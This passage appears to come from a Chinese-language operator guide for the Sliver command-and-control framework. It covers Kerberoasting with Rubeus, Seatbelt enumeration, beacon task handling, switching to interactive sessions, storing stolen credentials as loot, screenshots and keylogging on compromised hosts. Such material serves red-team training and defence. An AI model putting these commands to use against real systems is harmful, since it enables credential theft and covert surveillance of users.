sliver (SESSION) > rubeus kerberoast /outfile:C:\Windows\Temp\hashes.txt
# seatbelt 带参数
sliver (SESSION) > seatbelt -group=all---
Beacon 任务管理
Beacon 模式下命令以任务形式排队,等待下次回连时执行。
查看任务
# 列出任务
sliver (BEACON) > tasks
# 输出示例:
# ID State Message Type Created Sent
# ========== =========== ============== =============================== ====
# 90294ad2 completed Ls Sat, 22 Jan 2022 14:45:00 CST ...获取结果
# 获取历史任务输出
sliver (BEACON) > tasks fetch切换到 Session
部分操作 (shell/portfwd/socks5) 需要切换到 Session 模式:
# 从 Beacon 切换到交互式 Session
sliver (BEACON) > interactive
# 使用指定通道
sliver (BEACON) > interactive --mtls---
Loot 存储
集中管理渗透过程中获取的凭据和文件。
# 添加凭证
sliver > loot add --type credential --name "admin creds" --file ./creds.txt
# 列出 loot
sliver > loot
# 获取 loot 内容
sliver > loot fetch LOOT_ID---
截图与键盘记录
# 截取屏幕
sliver (SESSION) > screenshot
sliver (SESSION) > screenshot -s /local/path/screenshot.png
# 键盘记录
sliver (SESSION) > keylogger start
sliver (SESSION) > keylogger stop